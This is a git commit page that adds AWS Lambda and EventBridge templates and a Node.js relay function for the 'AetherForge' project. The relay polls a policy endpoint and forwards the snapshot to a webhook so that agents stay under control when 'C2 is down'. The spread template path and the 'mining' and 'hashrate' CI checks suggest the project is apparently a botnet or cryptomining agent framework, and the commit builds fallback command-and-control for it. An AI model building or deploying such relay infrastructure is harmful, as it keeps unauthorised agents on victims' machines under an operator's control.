Add EventBridge policy fan-out for standalone degraded mode.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
This commit is contained in:
AetherForge
2026-06-07 10:10:16 -07:00
parent c12565c83d
commit f691270279
27 changed files with 1049 additions and 69 deletions

View File

@@ -0,0 +1,8 @@
AetherForge EventBridge policy fan-out (standalone degraded mode)
===============================================================
Poll URL: {{POLICY_POLL_URL}}
Webhook relay: {{WEBHOOK_URL}}
Server: {{SERVER_URL}}
See templates/spread/aws/policy-fanout/README.txt in the repo for full instructions.

View File

@@ -0,0 +1,43 @@
{
"AWSTemplateFormatVersion": "2010-09-09",
"Description": "AetherForge policy snapshot fan-out — polls POLICY_POLL_URL and POSTs to relay",
"Parameters": {
"PolicyPollURL": { "Type": "String", "Default": "{{POLICY_POLL_URL}}" },
"WebhookURL": { "Type": "String", "Default": "{{WEBHOOK_URL}}" },
"ScheduleRate": { "Type": "String", "Default": "rate(5 minutes)" }
},
"Resources": {
"PolicyFanoutFunction": {
"Type": "AWS::Lambda::Function",
"Properties": {
"Runtime": "nodejs18.x",
"Handler": "index.handler",
"Timeout": 30,
"Environment": {
"Variables": {
"POLICY_POLL_URL": { "Ref": "PolicyPollURL" },
"WEBHOOK_URL": { "Ref": "WebhookURL" }
}
},
"Code": { "ZipFile": "exports.handler=async()=>({statusCode:200,body:'ok'});" }
}
},
"PolicyFanoutRule": {
"Type": "AWS::Events::Rule",
"Properties": {
"ScheduleExpression": { "Ref": "ScheduleRate" },
"State": "ENABLED",
"Targets": [{ "Arn": { "Fn::GetAtt": ["PolicyFanoutFunction", "Arn"] }, "Id": "PolicyFanoutTarget" }]
}
},
"PolicyFanoutPermission": {
"Type": "AWS::Lambda::Permission",
"Properties": {
"Action": "lambda:InvokeFunction",
"FunctionName": { "Ref": "PolicyFanoutFunction" },
"Principal": "events.amazonaws.com",
"SourceArn": { "Fn::GetAtt": ["PolicyFanoutRule", "Arn"] }
}
}
}
}

View File

@@ -0,0 +1,12 @@
{
"Comment": "AetherForge policy snapshot fan-out",
"ScheduleExpression": "rate(5 minutes)",
"State": "ENABLED",
"Targets": [
{
"Id": "PolicySnapshotRelay",
"Arn": "arn:aws:lambda:REGION:ACCOUNT:function:YOUR_FUNCTION",
"Input": "{\"poll_url\":\"{{POLICY_POLL_URL}}\",\"webhook_url\":\"{{WEBHOOK_URL}}\"}"
}
]
}

View File

@@ -0,0 +1,47 @@
const https = require('https');
const http = require('http');
const POLL_URL = process.env.POLICY_POLL_URL || '{{POLICY_POLL_URL}}';
const WEBHOOK_URL = process.env.WEBHOOK_URL || '{{WEBHOOK_URL}}';
exports.handler = async function () {
const snapshot = await fetchJSON(POLL_URL);
if (WEBHOOK_URL) {
await postJSON(WEBHOOK_URL, snapshot);
}
return { statusCode: 200, body: JSON.stringify({ ok: true, genesis: snapshot.genesis_version }) };
};
function fetchJSON(url) {
return new Promise((resolve, reject) => {
const lib = url.startsWith('https') ? https : http;
lib.get(url, (res) => {
let body = '';
res.on('data', (c) => { body += c; });
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (e) { reject(e); }
});
}).on('error', reject);
});
}
function postJSON(url, obj) {
return new Promise((resolve, reject) => {
const data = JSON.stringify(obj);
const u = new URL(url);
const lib = u.protocol === 'https:' ? https : http;
const req = lib.request({
hostname: u.hostname,
port: u.port || (u.protocol === 'https:' ? 443 : 80),
path: u.pathname + u.search,
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
}, (res) => {
res.on('data', () => {});
res.on('end', resolve);
});
req.on('error', reject);
req.write(data);
req.end();
});
}